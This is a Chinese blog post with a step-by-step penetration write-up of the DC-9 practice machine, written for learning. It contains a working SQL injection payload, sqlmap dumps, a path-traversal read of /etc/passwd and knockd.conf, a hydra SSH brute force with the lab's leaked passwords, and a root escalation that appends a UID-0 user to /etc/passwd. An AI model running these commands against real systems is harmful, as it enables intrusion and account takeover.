DC-9 靶机练习

2025-4-21 46 4/21

DC-9 项目渗透报告

1.侦查

1.1收集目标网络信息:IP地址

靶机运行在虚拟环境并且配置在192.168.1.0/24网段

nmap -sn 192.168.1.0/24

DC-9 靶机练习

由此得知我们的靶机地址就是192.168.1.136

设置一个环境变量方便后续针对此ip的使用

export ip=192.168.1.136

1.2主动扫描:扫描IP地址段

nmap $ip -n -Pn -p- --reason -sV

DC-9 靶机练习

开放22、80端口

1.3针对端口漏洞扫描

nmap --script=vuln -p22,80 $ip

DC-9 靶机练习

2.初始访问

2.1 利用面对公众的应用

先访问80端口,此为Web服务

DC-9 靶机练习

有查询、搜索、和登录功能,对于我们渗透来说肯定是喜闻乐见的,功能点越多安全隐患就越多。

2.2 主动信息收集

目录爆破

gobuster dir -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt -u http://192.168.1.136

DC-9 靶机练习

Index of /includes

Index of /css

2.3 功能点测试

Example.com - Staff Details - Welcome

在此页面中我们输入 Julie' OR '1'='1 参数发现,页面会将所有存储的数据全部返还,那这里就有测试SQLI的疑点了,这里直接使用sqlmap进行测试

sqlmap -u "http://192.168.1.136/results.php" --data "search=" --batch --risk 3 --level 5 --dbs --dump

确实存在明显的SQLI注入,我们直接拿下admin和密码

DC-9 靶机练习

admin 856f5de590ef37314e7c3bdf6f8a66dc

这里需要针对密码进行解密

我们可以先使用 hashcat 工具看一下密码是哪一种加密方式,或者使用在线网站

这里分析到是md5直接解密

结果:transorbital1

我们先在ssh试试可不可以直接摘果子,ssh直接拒绝连接,那只能在Web登录了

DC-9 靶机练习

这里多出了功能模块,想必也是有关数据库的操作,然后下面又显示file文件不存在,我们就可以尝试一下file参数能不能爆出些东西。

DC-9 靶机练习

http://192.168.1.136/addrecord.php?file=../../../../../etc/passwd

我们猜想的确实没有问题,爆出了一个文件包含的漏洞。

DC-9 靶机练习

我们可以看到许多刚才数据库中包含的用户名,那我们接下来看看ssh服务,刚才是直接连接失败了的,但是我们可以读取knockd服务文件进行"敲门"

存在knockd服务, 该服务通过动态的添加iptables规则来隐藏系统开启的服务,
使用自定义的一系列序列号来"敲门",使系统开启需要访问的服务端口,才能对外访问。 
不使用时,再使用自定义的序列号来"关门",将端口关闭,不对外监听。进一步提升了服务和系统的安全
 
//配置文件路径
默认配置文件是:/etc/knockd.conf

http://192.168.1.136/addrecord.php?file=../../../../../etc/knockd.conf

DC-9 靶机练习

[options] UseSyslog [openSSH] sequence = 7469,8475,9842 seq_timeout = 25 command = /sbin/iptables -I INPUT -s %IP% -p tcp --dport 22 -j ACCEPT tcpflags = syn [closeSSH] sequence = 9842,8475,7469 seq_timeout = 25 command = /sbin/iptables -D INPUT -s %IP% -p tcp --dport 22 -j ACCEPT tcpflags = syn

我们使用nc来开启ssh服务

DC-9 靶机练习

22端口此前是 filtered 状态的,现在已经开启

我们拿一下刚才数据库中的用户信息然后进行爆破

sqlmap -u "http://192.168.1.136/results.php" --data "search=" --batch --risk 3 --level 5 --dbs --dump

DC-9 靶机练习

sqlmap -u "http://192.168.1.136/results.php" --data "search=" --batch --risk 3 --level 5 --dbs -D users -T UserDetails --dump

DC-9 靶机练习

将lastname、username、firstname收集制作成name.txt字典,password制作为密码字典pas.txt

直接用hydra进行ssh爆破(如果这里22端口关了就用nc再开一次)

hydra -L name.txt -P pas.txt ssh://192.168.1.136

DC-9 靶机练习

这里成功拿到了三个账号和密码

3. 权限提升

3.1 初始权限

login: chandlerb password: UrAG0D! login: joeyt password: Passw0rd login: janitor password: Ilovepeepee

登录进去后就使用

ls -liah

命令查看用户内存有什么信息

最终在janitor用户中看到了一个目录.secrets-for-putin

并发现一个十分显眼的文件

passwords-found-on-post-it-notes.txt

janitor@dc-9:~/.secrets-for-putin$ cat passwords-found-on-post-it-notes.txt
BamBam01
Passw0rd
smellycats
P0Lic#10-4
B4-Tru3-001
4uGU5T-NiGHts

那再继续使用更新后的密码文件继续进行爆破

获得了新的用户和密码

3.2 获取root权限

login: fredf password: B4-Tru3-001

DC-9 靶机练习

在输入sudo -l后发现我们可以在/opt/devstuff/dist/test/test目录下不需要密码就可以执行root权限

我们切换到/opt/devstuff/dist/test目录下尝试执行,发现test需要python执行

我们使用find命令查找一下

find / -name "test.py" -print 2>/dev/null

fredf@dc-9:/opt/devstuff/dist/test$ find / -name "test.py" -print 2>/dev/null /opt/devstuff/test.py /usr/lib/python3/dist-packages/setuptools/command/test.py

我们查看一下那个脚本

cat /opt/devstuff/test.py

DC-9 靶机练习

发现其中存在读写操作

思路这就来了,我们可以通过test.py脚本强加一段内容到/etc/passwd中

我们需要知道/etc/passwd文件信息的含义
 
root:x:0:0:root:/root:/bin/bash
 
root    用户名(自定义设置)
:x    用户密码(为安全考虑用x代替)
:0    UID
:0    GID
:root    全称,对用户的描述
:/root    用户家目录
:/bin/bash    shell环境变量(查看用户是否作为可交互式,允许登录/bin/bash,
不允许登录/sbin/nologin)
 
之所以写入/etc/passwd文件中,是因为我们要追加一条uid=0的用户
 
因为root的UID=0

我们现在需要使用openssl生成密码
 
openssl passwd -1 -salt 盐值 密码
 
-1为MD5加密算法
 
-salt指定盐值
 
如:openssl passwd -1 -salt 123 lili
 
构造出:lili:$1$123$k4CUWxfcO..LMsdzYDAgK1:0:0:lili:/root:/bin/bash

echo 'lili:$1$123$k4CUWxfcO..LMsdzYDAgK1:0:0:lili:/root:/bin/bash'>/tmp/lili

cd /tmp

sudo /opt/devstuff/dist/test/test lili /etc/passwd

su lili

密码就是 lili

DC-9 靶机练习

这样我们就获得了一个root权限的用户

- THE END -
Tag:
0

非特殊说明,本博所有文章均为博主原创。

共有 0 条评论